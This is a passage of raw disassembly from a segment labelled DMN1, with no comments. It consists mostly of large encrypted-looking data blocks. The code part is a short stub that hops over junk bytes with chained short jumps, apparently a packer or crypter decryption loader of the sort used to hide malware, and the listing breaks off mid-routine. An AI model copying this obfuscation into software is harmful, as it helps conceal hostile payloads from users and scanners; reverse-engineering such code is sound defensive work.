		dd 576FB821h, 2DEF5197h, 2C41DF49h, 13B00102h, 11E5200h
		dd 9406C237h, 9CEF7ADCh, 0B73D927Ch, 863528D5h,	0F6E203AFh
		dd 8A86100Eh, 1E4B92BDh, 0EC35458Ch, 20397F47h,	0DC6A832Ah
		dd 0A02225E3h, 0D9A6CC9Bh, 7C16A8F8h, 938B84AEh, 0CE18EA8h
		dd 72C9B912h, 40FFA369h, 1ED2B85Eh, 93C8C1BDh, 1D12DD62h
		dd 908442Ah, 0C02DC072h, 3680096Bh, 0E9AD2F03h,	0CAE12DE0h
		dd 9CA8AC15h, 5FED33D7h, 44313C22h, 167606A3h, 20F091DFh
		dd 14DC6D3Eh, 0C67F8836h, 99EBEFD2h, 456144h, 18EECF89h
		dd 61D1E56Dh, 0E21512B0h, 98592EC7h, 32424E22h,	764D57D8h
		dd 0E47715A2h, 6FF78D91h, 0C11A1495h, 0A10CACE0h, 0F65AA49Fh
		dd 8883E2A6h, 0E7A6C729h, 9B9857A9h, 91B82BAh, 84175059h
		dd 5672F7Eh, 1DA9AD92h,	32F10E64h, 0C1E687E2h, 8167F011h
		dd 7357B605h, 7EE461A2h, 6C5D9AA8h, 8FEF46BAh, 677FF92h
		dd 0FF6EBC94h, 4B31F579h, 64F83B7Fh, 84523AD5h,	0CD198171h
		dd 806503B3h, 0AEDDD498h, 68237180h, 0C5F8569Ah, 915461EAh
		dd 718B9DC7h, 0C07D592Eh, 445EFA61h, 5DCAEE0h, 0C8DD85F4h
		dd 5A97E908h, 5064D0D1h, 5809322h, 96B2344Fh, 8DB5CD54h
		dd 24170EC4h, 0EAD905D0h, 9BC2CCDEh, 0AE723874h, 9AA890BCh
		dd 98CA222h, 0B763015Ch, 3A983F9Fh, 38537202h, 0C7B9F3F2h
		dd 9D2EDDE9h, 2254CEB0h, 9912705Ah, 51FD28C6h, 0D48642CDh
		dd 0F151847Eh, 0EECD973Ah, 0A8B98A50h, 49EB907h, 19BC099Dh
		dd 0A3BB18E0h, 5854A654h, 3DD26212h, 0EB2150CEh, 3AA1895Dh
		dd 0A2EFDE58h, 3A74F764h, 5A4E18BEh, 0D2B5A143h, 8F9DFD1Dh
		dd 63053CE0h, 0BEE56918h, 9DE6AA72h, 3F2BA3E1h,	1A63A361h
		dd 0F777EE8Ch, 0CA0E4280h, 1A662A7Fh, 0FE1FF9h,	8A8FC986h
		dd 9BEC81B6h, 0F6B1DAB5h, 4E67C7DDh, 39BC1FA9h,	0D4208532h
		dd 0DAA320B3h, 0D159E630h, 1D0DEECDh, 790A5EBCh, 1BA8CD05h
		dd 0E5302A1Ah, 52AAC954h, 0E0DD60D4h, 601C36B4h, 6746E654h
		dd 2F850CF4h, 6C52AEDBh, 18E6CE70h, 0DCD07C69h,	99C42B2Eh
		dd 0E8EA39DAh, 0B6EC1E3Bh, 8F0AA809h, 2B14BB87h, 274C3F38h
		dd 31EC1A2Ah, 689D07AAh, 7A0CB64Eh, 2EDE21CBh, 0F3A18D27h
		dd 0BCE50BF1h, 0B3E6230h, 8A60E201h, 23022086h,	0A5E97DB8h
		dd 0BCC01227h, 0C77A16D8h, 24F71C34h, 0CAD056EAh, 0DCFA7C5Bh
		dd 6F2759BDh, 0B6611154h, 8A35BA01h, 345099DFh,	1195AB4Eh
		dd 9BE6D596h, 2AEF80F4h, 0E3C627C4h, 89F42F35h,	0EBE2DF61h
		dd 0DF7E03AFh, 0D86B6A36h, 5B1EF059h, 7B641A49h, 34D488E6h
		dd 0A76B11B9h, 85FC1B17h, 9CC024C5h, 87893C0Dh,	77A51A1Ch
		dd 1630A8C2h, 0B8454B5Fh, 11264A38h, 0C72E0A37h, 0A171A3B7h
		dd 0B29600FDh, 0CED8155Ah, 85A73FE1h, 0EC507059h, 75340822h
		dd 8C30ED39h, 32456D1Fh, 0E9C3D4C5h, 6B22B6EDh,	30EA4510h
		dd 0E06AEDCEh, 0E9F42BE4h, 87349B90h, 0DB7C864Fh, 3C196F79h
		dd 0A67ED062h, 3D190062h, 0E4442097h, 56A2D75Fh, 0D32C5CBDh
		dd 0BB7F1043h, 1056002Eh, 1F0262C3h, 412EA0E0h,	0E668D22Dh
		dd 5DB7E274h, 4F42047Ah, 9738CD67h, 0C88EAC5Ah,	14F2C2DDh
		dd 423D2DE5h, 0C0014929h, 0E4095731h, 40BCCF0Eh, 0B4D4376Ah
		dd 0F4C0339Dh, 236D8CA9h, 6463764Dh, 3A3D0CA1h,	7B7221Fh
		dd 9D11C673h, 0E16F7B8h, 881E07F1h, 0A20E9DEDh,	0AC7C4562h
		dd 63B1A9BFh, 8F415DD9h, 0EE819655h, 8370BB30h,	6F040734h
		dd 6BAFFFB9h, 7561D1C7h, 22430BD9h, 47E9C34Eh, 8AB1405Bh
		dd 157FEE56h, 0AB3CFC4Dh, 0A2BE6CA1h, 0E66CC541h, 1CE0B1EFh
		dd 6F8C7824h, 328A7FAAh
		dd 0A53AB927h, 68CF6EC2h, 0E8F29F1Fh, 0CA516357h, 0F1A49492h
		dd 0EB6B501h, 0B4A36FBh, 30E0D59Ah, 265DAEDFh, 0AF5EC44Ah
		dd 0A75FE460h, 0CFCFB97Bh, 581ED090h, 0EE58E47Eh, 77C6B6FCh
		dd 0FDD8ED99h, 972AA2C9h, 0B665BF0Ch, 37037386h, 6A5451DBh
		dd 4499693h, 59F53C27h,	69170586h, 7CD72B67h, 0C2DE0280h
		dd 0FFBE132Eh, 0B43D2FE6h, 9546FC2Bh, 18ACACE4h, 0BE7BF275h
		dd 5D3BE60Ch, 179AF96Ch, 8C1A4141h, 3CF68A6Fh, 0D0F8AA0Fh
		dd 0E55FC399h, 0D65749D3h, 0B7296A28h, 0F876CD6Bh, 0ACF3EBF8h
		dd 580A1800h, 0E38115C8h, 0BAAA16C3h, 83F55325h, 62CF6DBAh
		dd 6DEB57FDh, 959BF1AFh, 0B2D75E9Fh, 29E2CFFEh,	81E55C33h
		dd 0F63EB55Bh, 514CDA72h, 0A1116E24h, 6A2AA981h, 91F0091Bh
		dd 0F82BC185h, 0ECF759ACh, 0B62586A2h, 25500CF7h, 0CDBE0B2Ch
		dd 0F80ACBE5h, 1157F82Fh, 40858C4h, 0A871D82Fh,	258494F1h
		dd 7F0993C3h, 3FB20414h, 0EF2C274Eh, 0FCDCC5C7h, 18932666h
		dd 68B3A9EDh, 0A5714A56h, 24EF76FBh, 34150126h,	0C655C6A6h
		dd 85EB4268h, 0FA8EFF38h, 3EBEECFCh, 647C9709h,	35586A87h
		dd 0D9B0772Bh, 0C319B5E6h, 6154B9B3h, 8FB52F5h,	7CEC5296h
		dd 0CB4B5153h, 7DC2422Ch, 0C16B5D8Bh, 0E719EFF1h, 61361AA0h
		dd 6997048Eh, 27C48548h, 3C674733h, 8781EA3Eh, 24DD89A9h
		dd 0B42EE8F8h, 2C28B0E8h, 0CE86725Eh, 0CF211217h, 0CB8A51CDh
		dd 0F84D34DCh, 6A2EC07Dh, 10CFCAA2h, 0B82237D2h, 1B90258Dh
		dd 0D6068338h, 59CB4E5Ch, 0FFF14827h, 58D06879h, 32CF8DDh
		dd 0FFE6D613h, 0DC2F103Ch, 0D336C793h, 3ABC654Ch, 1479FDF8h
		dd 0FEA25C1Fh, 0F203BEB8h, 0F5D53DDEh, 0A05876EFh, 62760A80h
		dd 0C58D79B3h, 0A4017DDDh, 89B987B3h, 283CC5BFh, 2C8D792Ah
		dd 3C591063h, 0D43E82B6h, 5FC35EE5h, 0CB72D050h, 0B111C138h
		dd 0BE1DB2C4h, 4BFD81E6h, 0A53D7D15h, 3D8BD493h, 8F75CFDAh
		dd 9E5C94C9h, 4F85A7C3h, 9DDFC7FEh, 0A1EC75DAh,	634B32B1h
		dd 423EAAE8h, 4D70D26h,	0F30410ADh, 3B434D3Eh, 4424A770h
		dd 0D1304308h, 0DBA2A45Eh, 50D514EAh, 0C4121C12h, 0E521AA04h
		dd 3968EF9h, 3598502Ch,	486F026Ch, 2EF1F783h, 50D7B5F8h
		dd 0B4E673FAh, 7BF1B145h, 483450FAh, 7D5938B2h,	623900BCh
		dd 36F17859h, 0CE0F1D5Dh, 265C29CCh, 536709E8h,	906733Eh
		dd 19D02D33h, 5F47DC8Fh, 0EE070852h, 5C38A05Ch,	0B5AEB47h
		dd 6F3FB437h, 3CD0CA4Dh, 65F6C802h, 80E026E2h, 2C62C67Bh
		dd 8059CABDh, 3D3CFA59h, 0B6E92744h, 1EE68DDDh,	4C05E4E4h
		dd 0C20CA18Ah, 8A8CEFEDh, 0EEC10C10h, 0BD7C4357h, 3144CDA7h
		dd 0BCF6CE09h, 41DEEC68h, 0FDBCDE24h, 45F1E11Dh, 0F907BE96h
		dd 0BA90FA54h, 0BFC8E487h, 2AD4118Bh, 1D9A2536h, 0FE0FEF6Fh
		dd 0B15F0680h, 49A2AA3Fh, 0EC7D3F06h, 4E2D4839h, 0DDF0985h
		dd 0E6DA1BDDh, 8134647Bh, 640ACA75h, 28D2B1ADh,	7EF084Bh
		dd 3D9E6300h, 3FAF75C3h, 6211961Ch, 0A9AA440Ch,	0C380BF32h
		dd 9C8A9F79h, 8DC5F728h, 0D07DB955h, 9E510E09h,	0A7BCAAD5h
		dd 63A6D026h, 0A7BCA372h, 94E2BAC5h, 0A9B1F350h, 7EB9C658h
		dd 9070B661h, 4D9A53FAh, 5E03F1EEh, 1CE147F2h, 6BB8CC15h
		dd 14BF6CBCh, 0ABEB5018h, 0D234DC30h, 676187E5h, 305C0116h
		dd 3382AE0Dh, 44B80F9Ch, 0A1CFB1D4h, 0ABA338DBh, 0FD55AA0Dh
		dd 712146C6h, 56964925h, 2D6DDB01h, 1D5F37EAh, 0CD70524Eh
		dd 47F92D31h, 0A4833AFBh, 0A1FA3C29h, 3671259Bh, 0A2B30462h
		dd 2A07F846h, 0B2A395D8h, 8D9EDE5Fh, 44721E85h,	0C7934820h
		dd 0F79E2Eh, 49FE2F4Eh,	0A7C5FCF5h, 0B3B6BBDh, 56F0F70Dh
		dd 8D3C7D86h, 287F8F4Ah, 7D2DF30Bh, 285C04D5h, 52379805h
		dd 0B147ABCAh, 3AA86B94h, 0C1486F39h, 0D85E3E93h, 2D42764Bh
		dd 0D64EFB6Eh, 0C6A1F735h, 4B0A1AF6h, 3018354Ah, 0CF8401F0h
		dd 0DF67C47Eh, 0B2CCAF95h, 37168BBDh, 22A40BF7h, 9D2BCF6Dh
		dd 63CA5CC9h, 54C439C5h, 9A1213C1h, 97219612h, 0FEFD1662h
		dd 6C9B1AD8h, 0D23D29E1h, 0A5268058h, 0BE78DDD6h, 90120E3Fh
		dd 0C5CC52FAh, 71835C44h, 0EBBA2CB8h, 0A7F8BAC1h, 3CC813D8h
		dd 2EC675Ah, 802000AFh,	9717703Eh, 6DAAFAB4h, 81A97314h
		dd 9A6405E2h, 5E0F56DEh, 7B25D3ECh, 502039AAh, 0B191218Eh
		dd 0C9912CCh, 40B0336Eh, 0C3BBD1C2h, 0EBF71D86h, 8A402EA5h
		dd 2FB74120h, 56284E5Bh, 3C5AFACAh, 0A78C18ADh,	49F1D4FEh
		dd 4A634D93h, 318449B9h, 84737289h, 673F997Ch, 0C42830EBh
		dd 49910183h, 31C287F6h, 32C9F44h, 7B873F0h, 8193E4EEh
		dd 4802CDh, 90A88C54h, 3838EDD9h, 0BF2036F1h, 85D51351h
		dd 75042982h, 14A15019h, 397E1943h, 0CEFBE96Eh,	602048A3h
		dd 986F2F62h, 78685524h, 0AD626E1Dh, 34363AA6h,	488D281Dh
		dd 39046E4Dh, 3C78A546h, 740D41EAh, 4BB968C5h, 0ED356E70h
		dd 79214915h, 0C4598FA4h, 116DE35Bh, 0A521E1B1h, 0CDC0E29Bh
		dd 47D423E1h, 72D9E1FCh, 67B5394Eh, 0B057FE56h,	96B2D6E7h
		dd 3D50B6DCh, 9C1B60D2h, 9A967798h, 85926B36h, 0EDAF203Dh
		dd 48BAB74h, 0C4E00F23h, 0BA6694A0h, 0BE3B2F20h, 3F2920BCh
		dd 9497AE28h, 41CC6DCh,	0D9D66B4Eh, 54EDC40Dh, 0EEFE1C95h
		dd 53348148h, 50233DEAh, 1AC7E3FAh, 0FFA857CFh,	0EDD32431h
		dd 40EE4456h, 0FAEFD830h, 6463C9DDh, 0E5FFC22Bh, 7BD5DCCDh
		dd 6AA60001h, 0F37386E6h, 91CF28E1h, 0E34D523h,	17CF3B4Ch
		dd 0BCAA09D2h, 0C0E1A357h, 0BD67B575h, 6E6CC4C2h, 0E76D125Dh
		dd 1A27A800h, 0E4B0D336h, 888DA2E7h, 3A53485Eh,	29542946h
		dd 3EF511D1h, 0A7DBDA03h, 341B1CB9h, 53D05E7Dh,	0E8F83A62h
		dd 0E82A7E49h, 0EB0350A8h, 0A1E626ABh, 0DC32DDDDh, 0D2D631DEh
		dd 7EFA815Dh, 1D51C72Fh, 38A6CC6Dh, 84944B56h, 2F3C0592h
		dd 23DDC137h, 85991D81h, 8E783BBAh, 0C9F8E2FBh,	0CA0CA015h
		dd 1B362B69h, 0FC578C7Bh, 0B7934C10h, 847A7871h, 0BA19F995h
		dd 405F53C5h, 0CD4602F1h, 8D187AF5h, 464B3B32h,	92A8BF03h
		dd 632DA1E2h, 0D9875994h, 2591CEC4h, 27EE019Ch,	9A6C803Bh
		dd 0A87586B5h, 1C0F9847h, 0A1C3C20Dh, 294969E5h, 0EAC56B09h
		dd 7D271EA2h, 0DE970627h, 22C73089h, 0BC706B2Eh, 0AA40EB2Dh
		dd 0BD727832h, 4A0BBD59h, 1423BF0Eh, 0A858DFC8h, 6AB520B8h
		dd 486398D1h, 18B164C5h, 0F2E23829h, 37E3D4Eh, 0FEAC2FCAh
		dd 336BD469h, 25B26541h, 0CF476282h, 402E0C8Bh,	6611F638h
		dd 0A1E74A32h, 2C3F54F4h, 0FA687A48h, 9564694h,	15DC92B3h
		dd 0B07972A5h, 0F835A53Eh, 0BB6195C2h, 2A8C217h, 5273D817h
		dd 3837314Ah, 0BA2FA451h, 95D3676Dh, 0FDE7F14Bh, 44A98984h
		dd 0C7D77B5Eh, 0F9CE972Ch, 0E6FE2C34h, 7D280384h, 0CE079E26h
		dd 1C9638C9h, 0B4B55170h, 16320B03h, 0D2B749ACh, 0B94538CCh
		dd 0EED986BDh, 0B4807841h, 0F565057Dh, 0BB4EB35Dh, 0E8E057Ch
		dd 0CB8F89D1h, 692F4FBDh, 629DB0Bh, 0A95F2377h,	153520EAh
		dd 54E62E1Dh, 82A633E3h, 5B990955h, 0E79B6244h,	43386140h
		dd 4B2222B4h, 647A3327h, 5A274852h, 5AD55DEAh, 8275B5D6h
		dd 0B27D1320h, 0DAD99AFBh, 0F1D1545Eh, 4B43D96Dh, 50291651h
		dd 4F7F484Bh, 0FAFFF1BFh, 0F47B5623h, 542F0BC8h, 34FEA22Ah
		dd 0DD31905Dh, 0BEBB7E35h, 820B0C23h, 7D803236h, 0F20D6D0Ah
		dd 0D7F82865h, 56090538h
		dd 0F39CE245h, 0BA1669B6h, 766D6976h, 3D24CC89h, 0C590A7D6h
		dd 933D6772h, 9EC9FA93h, 0D6FE83B9h, 0E89B53CCh, 0F7B3CF33h
		dd 0D0D91158h, 14D584C7h, 0A9000830h, 7C245AE3h, 0FE81481Fh
		dd 2F34D03Ch, 0EBC5DC27h, 0BC0D0201h, 0EE7C5974h, 3F191B64h
		dd 0C2E5C1DAh, 0DF7D3AE9h, 98C20AA6h, 1563BC5h,	0F8E25813h
		dd 38DB266Dh, 9CC7CB03h, 2BDD7A02h, 8A8D7DF0h, 0B23EDB5Ah
		dd 5ECBAEDBh, 0B24A62Ch, 0B4D02517h, 0A3457908h, 0F4B0EB2Fh
		dd 17012A33h, 24764837h, 0D848E1C8h, 0E0E55839h, 0C1C16298h
		dd 0E126FBFDh, 0B2C7A4FAh, 45B6E0C6h, 6BE75D25h, 739DB994h
		dd 7613903h, 878324EAh,	0AA7D3DD2h, 3E4F2D4Bh, 6A577B63h
		dd 0BF48FBC8h, 0C801BE6Fh, 0CBEA8C48h, 1EA54CE6h, 5DBDA4E6h
		dd 35C9F3CAh, 0A7A6E6A7h, 4529A8F6h, 0D42D81C2h, 0F6365C33h
		dd 41A3E680h, 95F3A3CDh, 0CC553A35h, 5AE28C13h,	0DAFAD214h
		dd 0AD4C719h, 7D0BF30Ch, 0F261BD7Eh, 3DFDC9E8h,	13244110h
		dd 56C1A66Ch, 0B77E5Ah,	0F09B2C07h, 5C5C26DDh, 0F455D18Ah
		dd 0E1878699h, 0A9E4C8E0h, 33B31EFCh, 8495FB4Fh, 19C43097h
		dd 0C92A923Bh, 174F49D2h, 3263B22Fh, 332095AAh,	0CD6CE278h
		dd 5D49BFCEh, 9FF300EBh, 0ED26E59Ah, 0CDECD176h, 0E5DBFDFDh
		dd 32830BBAh, 2DF94898h, 113A9608h, 2ECA3C0h, 0D46D51F2h
		dd 25BB5A15h, 809B1D1Dh, 8734A1B5h, 7F73841Bh, 5ABD574Fh
		dd 94A9BB5Bh, 0D448BC6Ah, 749E8725h, 72BE4ED5h,	5533A328h
		dd 0B0123363h, 0ACB8CF81h, 459639Eh, 0F813A4D1h, 20193442h
		dd 9C4BC886h, 0D4C2D33Ch, 799891FCh, 904E098Ch,	1D0EE267h
		dd 0D93AE972h, 0E91975BAh, 0FC5A7211h, 2FF1C1EEh, 3BD6DF74h
		dd 0CFA400E6h, 0BBBBC5E5h, 5F55C1E3h, 53B0E224h, 8A9D44E6h
		dd 0A8C1B01Bh, 130A379h, 0A5BFD509h, 5503DCCAh,	684E483Ch
		dd 1EDBB618h, 0AB594B50h, 837C753Eh, 0D67CF79Ch, 81B9254h
		dd 5AD738C3h, 11A2649h,	30E51430h, 1C2EBD1Fh, 1A42C3EFh
		dd 53EF79E9h, 0C60D27B0h, 6FB3C71Dh, 0CAD357A9h, 5EA77E40h
		dd 2BAD2EC1h, 0A79E90ABh, 5478E4ADh, 7EAE0419h,	0E57A2DF7h
		dd 0F4BB72DEh, 0A68DB9A9h, 40E0B0E4h, 0A613A1CDh, 0C38F4FC3h
		dd 0A646DE01h, 0C08DF8F5h, 0AAF8E304h, 0A0B3D129h, 0A649F37Dh
		dd 0F2AB528Ah, 32A92D9Dh, 0B1C4109h, 734DE96Bh,	0B770074Bh
		dd 5414FE2Bh, 0B67EFF2Fh, 50E091E1h, 7EE985B6h,	4834BB91h
		dd 5B8CFD0h, 0D36067ADh, 0E34ECA91h
		db 0E8h, 32h
; ---------------------------------------------------------------------------


loc_468902:				; CODE XREF: DMN1:004696D0j
		xchg	eax, [edx-7BC48A18h]
		sub	[edx], dl
		rcr	dword ptr [esi+55h], 1
		ror	dword ptr [ecx], cl
		inc	ebp
		not	byte ptr [edi+33AB1D83h]
		pusha
		fnstsw	word ptr [edi-48BEC972h]
		rcr	byte ptr [ebp+5F2951E5h], cl
		sbb	[ebx+7Fh], ecx
		jmp	far ptr	0FEF6h:759C38CDh
; ---------------------------------------------------------------------------
		db 0EEh, 39h, 0E2h
		dd 12971FE9h, 0C4F9AC2Eh, 0C66CD3FAh, 0B1FF1D7Dh, 70156DFBh
		dd 55722498h, 0C1AE4DB7h, 0FD720C8Fh, 9E12F98Ah, 9D5129B0h
		dd 7445459Fh, 0FC9C8E43h, 0FF0C1D63h, 7299AB6Ah, 0F8A58FFh
		dd 4889114Fh, 0F10CC05h, 1F9C4882h, 0DFA9F4DBh,	416D4705h
		dd 8B93A82Ah, 0C9730983h, 3F584110h, 0F234A528h, 0D99A9D66h
		dd 2E196370h, 0D9975AE3h, 87E85ADAh, 5B843B0Eh,	8BF16544h
		dd 4BA649A4h, 73C5132Dh, 0DFB2BC3Eh, 47EF14EBh,	84B8A28Ch
		dd 0B8B5D234h, 158EB8C2h, 1E7EF7AAh, 867F8A9Ch,	23C26C0h
		dd 4B253504h, 0D2C4F6Ch, 0FDA1500Ch, 9FC382AEh,	0A7131504h
		dd 5558582Ch, 574C5F5Ch, 0A5ABCD5Fh, 0BDC67D2Eh, 0A7645107h
		dd 0FB6D4509h, 0BE1891D5h, 0EEE912BDh, 8EEA6B01h, 0B0CA51B4h
		dd 0D7ED16C3h, 66FE9B6Eh, 65364640h, 0CBD1B952h, 0B1E9C21Dh
		dd 30D14B27h, 2E63536Bh, 460D85h, 956A180Bh, 0A11BF2D5h
		dd 13D412F7h, 0C74482EEh, 2B82271Eh, 4519357Eh,	4FE8211Ch
		dd 3B2E1F6Eh, 560BEE11h, 9C8B371h, 0B331413h, 0AC412BA7h
		dd 0EC698430h, 0F92C96F4h, 63EC966Ah, 55F7C26Dh, 248BE5F4h
		dd 0E19AC112h, 0E1F0ED32h, 0F6300AFh, 7E8A29F5h, 0EA7529A8h
		dd 62CB18D0h, 35F21EFEh, 0BE74C06Ch, 754BBA7Ch,	0D885A167h
		dd 594374EAh, 866A5F2h,	3515B53Ah, 0A61240D4h, 0BCB992ABh
		dd 2282367Dh, 31472039h, 0CD528475h, 8364581Ah,	0E9EEA2F3h
		dd 53532D72h, 3033662Ch, 0A911A55Bh, 0E1DD6BA3h, 7717B70Dh
		dd 0E3D49975h, 0E7B6FD9Bh, 1F78375Dh, 4F2CFD37h, 1D093659h
		dd 0AB8E61AEh, 0B985F695h, 0EFEE6C8Ch, 0D910A634h, 0A1129C49h
		dd 0DAAA088Bh, 0E2173FB5h, 0F312E32Ah, 754920F0h, 27A12485h
		dd 0DE22D7D5h, 8AA4F820h, 2C468F47h, 0AC2B7EAFh, 1F2E7DA0h
		dd 62593274h, 9E8FC294h, 0FC486ED8h, 0E16EE0A1h, 72D7424h
		dd 34DA388Dh, 90E13A67h, 1B24C5E3h, 7A8174BCh, 1CFEA47Dh
		dd 13B4DD0Ah, 0E4F36FBDh, 62E23C47h, 965FB6DFh,	519D1C2Dh
		dd 0C0ED9DE6h, 422D5323h, 54FA2B3Fh, 0C2321E58h, 0C3D50605h
		dd 50466888h, 167DFAAEh, 0EDE9D012h, 2AF82302h,	8119835Dh
		dd 0D50324BAh, 78D3A75Eh, 70CCD386h, 6D4C286Ch,	3879D256h
		dd 8E3E2A3Eh, 89EFE312h, 0D67E4B90h, 0F3E0FA35h, 1579449Dh
		dd 78835A8Ch, 412085ECh, 0DF89A670h, 6C05E9B4h,	19B75DC7h
		dd 3095CF2Dh, 7251E71Ah, 0E6929FEDh, 6F4B2DBh, 87E9221Ch
		dd 2381EE27h, 0DBD68F67h, 0FB9438B7h, 0FCBEC7C1h, 6C8AF888h
		dd 90A06D6h, 8436A189h,	0D1D53340h, 0CCB7A670h,	573F9080h
		dd 5122DCEAh, 110268FDh, 0AD1FEAFBh, 42A64B8Fh,	5FD80E22h
		dd 76E85AF5h, 8F3CDBC7h, 0FF536329h, 0E51302FDh, 0B7BEB37h
		dd 3B6E20FDh, 7FE0F7Ah,	0A858A9C0h, 0C9F85A95h,	0E0C336C4h
		dd 9CF6180Eh, 4E83985Bh, 79F6BA6h, 4982B1C0h, 0BE131F83h
		dd 2C53995Dh, 53C2F2A9h, 68F95443h, 0ED8F241Ah,	24CB436Fh
		dd 3A7FE7F9h, 9BCEB65Ch, 835BB3EEh, 8C81D425h, 826D0071h
		dd 9A9107E3h, 931BA087h, 4D561A78h, 3838735Bh, 5E7A6695h
		dd 271AE8Dh, 922ADCh, 9BFC4BA5h, 270E8E28h, 4DA632CBh
		dd 50810F06h, 6C4DF6B4h, 0B3CC7E42h, 210FF2C9h,	0D04DBA23h
		dd 17D15CDh, 562DEAB1h,	3DF78F17h, 91D384E3h, 4F44D13Eh
		dd 87CCAD80h, 0E291109Bh, 7A694ECCh, 89B067E7h,	2531B27Eh
		dd 154109B8h, 0DDA312C5h, 94FE945Ch, 4B9984E3h,	2AF76DDFh
		dd 0C09F1BE8h, 89F09AF3h, 7277B5B9h, 0FD71FE60h, 339DBD23h
		dd 0DD318A10h, 0F3A94709h, 29A4E92Eh, 0FA4214ECh, 0EFA65E66h
		dd 0E361411Fh, 83F6FE7Eh, 77EE3A24h, 5F0CABEFh,	50E4416Eh
		dd 11A6C81Bh, 7D5ADDEFh, 0CCD9AA4Eh, 5E03CC44h,	210C8F0h
		dd 9B005181h, 9BB31223h, 40790EF3h, 4A6CAD84h, 0AAC8AADEh
		dd 12B2ABE0h, 8E670C16h, 0B60F7EB9h, 33A095F5h,	0F2D38A3Dh
		dd 5843FE8Ch, 7E446B41h, 0E2C27947h, 800F7672h,	1CB7D1BAh
		dd 70820341h, 2FB1BE51h, 4DFBC601h, 20D0F68Bh, 5FA90993h
		dd 4BDD93CEh, 0FC392420h, 4E62D8ADh, 6DE1EE19h,	1F6B70FEh
		dd 8B6BB7EBh, 9581D81Fh, 4EB0A2CBh, 0B712F44Fh,	0F01A77D4h
		dd 0B9203BFDh, 2784D87Ch, 9063387h, 0FB3EC46Bh,	22ACD0D1h
		db 8Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [esp+8]
		mov	ebp, eax
		pusha
		mov	eax, 0D715F6E9h
		push	eax
		dec	eax
		jmp	short loc_468DFA
; ---------------------------------------------------------------------------
		dd 0E4D77169h, 7BFC11A0h, 3368E8B6h, 687B38CEh,	72EDD866h
		dd 90A8FEC3h
		db 7Eh,	31h
; ---------------------------------------------------------------------------


loc_468DFA:				; CODE XREF: DMN1:00468DDEj
		cld
		jmp	short loc_468E15
; ---------------------------------------------------------------------------
		db 0F9h, 0EDh, 35h
		dd 2018001Ah, 704FD1EEh, 0FFD46691h, 20817FE0h,	45897589h
; ---------------------------------------------------------------------------
		inc	esi


loc_468E15:				; CODE XREF: DMN1:00468DFBj
		xchg	ebx, esp
		jmp	short loc_468E29
; ---------------------------------------------------------------------------
		db 0D7h, 17h, 0A7h
		dd 9F1EE967h, 0C8715FACh, 0F3FE3D97h
; ---------------------------------------------------------------------------
		push	esi


loc_468E29:				; CODE XREF: DMN1:00468E17j
		clc
		jmp	short loc_468E4B
; ---------------------------------------------------------------------------
		dd 7C56CDFDh, 5085D8C5h, 0A247EE77h, 88F99CE3h,	7431F3Ah
		dd 4BD8803Ah, 9AFE131Bh
		db 98h,	0D1h, 5Bh
; ---------------------------------------------------------------------------


loc_468E4B:				; CODE XREF: DMN1:00468E2Aj
		xchg	ecx, esi
		xchg	eax, eax
		jmp	short loc_468E5A
; ---------------------------------------------------------------------------
		stosd
		cdq
		mov	bl, 3Dh
		mov	ds:0E3F27AA0h, eax


loc_468E5A:				; CODE XREF: DMN1:00468E4Fj
		jmp	short loc_468E73
; ---------------------------------------------------------------------------
		fxch4	st
		xchg	eax, esi
		retn
; ---------------------------------------------------------------------------
		cli
		or	edi, [esi-5189960Ch]
		sti
		imul	ebx, [esi-6C1BE6ECh], -77h
		xchg	eax, edx
		add	[edi+ebx], dh


loc_468E73:				; CODE XREF: DMN1:loc_468E5Aj
		jmp	short loc_468E78
; ---------------------------------------------------------------------------
		db 3Fh,	83h, 0BFh
; ---------------------------------------------------------------------------


loc_468E78:				; CODE XREF: DMN1:loc_468E73j
		jmp	short loc_468E97
; ---------------------------------------------------------------------------
		mov	ebp, 9329EA99h
		clc
		xchg	eax, ecx
		adc	al, 0D7h
		scasd
		mov	eax, [eax+62BD9A72h]
		cwde
		test	al, 0ECh
		cld
		mov	edi, 0B0770249h
		pop	ss
		xor	al, [esi+67h]


loc_468E97:				; CODE XREF: DMN1:loc_468E78j
		mov	esi, 31000h
		jmp	short loc_468EAA
; ---------------------------------------------------------------------------
		dw 0E6Fh
		dd 87204C85h, 0C17BE2B5h
		db 0CEh, 64h
; ---------------------------------------------------------------------------


loc_468EAA:				; CODE XREF: DMN1:00468E9Cj
		xchg	ebx, esp
		jmp	short loc_468EBA
; ---------------------------------------------------------------------------
		dw 22E0h
		dd 2587ED7Ch, 44F52813h
		db 51h,	65h
; ---------------------------------------------------------------------------


loc_468EBA:				; CODE XREF: DMN1:00468EACj
		stc
		jmp	short loc_468EC7
; ---------------------------------------------------------------------------
		db 68h,	0B9h, 30h
		dd 4006DF76h
		db 74h,	30h, 29h
; ---------------------------------------------------------------------------


loc_468EC7:				; CODE XREF: DMN1:00468EBBj
		jmp	short loc_468ECE
; ---------------------------------------------------------------------------
		db 9Fh,	0B2h, 0
		db 5Ah,	0EEh
; ---------------------------------------------------------------------------


loc_468ECE:				; CODE XREF: DMN1:loc_468EC7j
		jmp	short loc_468EDD
; ---------------------------------------------------------------------------
		mov	esp, [ecx]
		xor	al, 0ADh
		jbe	short loc_468F4B
		or	al, 0ADh
		pop	ecx
		pusha
		sar	byte ptr [ebx],	1


loc_468EDD:				; CODE XREF: DMN1:loc_468ECEj
		jmp	short loc_468EF0
; ---------------------------------------------------------------------------
		db 5Ch
		dd 2250BE69h, 0DD22AA62h, 0F14735CAh, 0D46BA6C1h
; ---------------------------------------------------------------------------


loc_468EF0:				; CODE XREF: DMN1:loc_468EDDj
		jmp	short loc_468F06
; ---------------------------------------------------------------------------
		dw 0CD45h
		dd 4CD75BCDh, 750D9388h, 0ED0260C8h, 519CD781h
		db 5Ch,	33h
; ---------------------------------------------------------------------------


loc_468F06:				; CODE XREF: DMN1:loc_468EF0j
		clc
		jmp	short loc_468F19
; ---------------------------------------------------------------------------
		db 0FEh, 7Eh, 0DEh
		dd 4A58B3A1h, 245E19A7h, 0D3C68B2Fh
		db 6Eh
; ---------------------------------------------------------------------------


loc_468F19:				; CODE XREF: DMN1:00468F07j
		mov	edi, 5829h


loc_468F1E:				; CODE XREF: DMN1:00469549j
		xchg	esp, edi
		clc
		xchg	ebx, ebx
		jmp	short loc_468F35
; ---------------------------------------------------------------------------
		db 9Ch,	43h, 0A1h
		dd 0B0D66469h, 0D2A6DB81h, 21F365B8h
		db 64h
; ---------------------------------------------------------------------------


loc_468F35:				; CODE XREF: DMN1:00468F23j
		clc
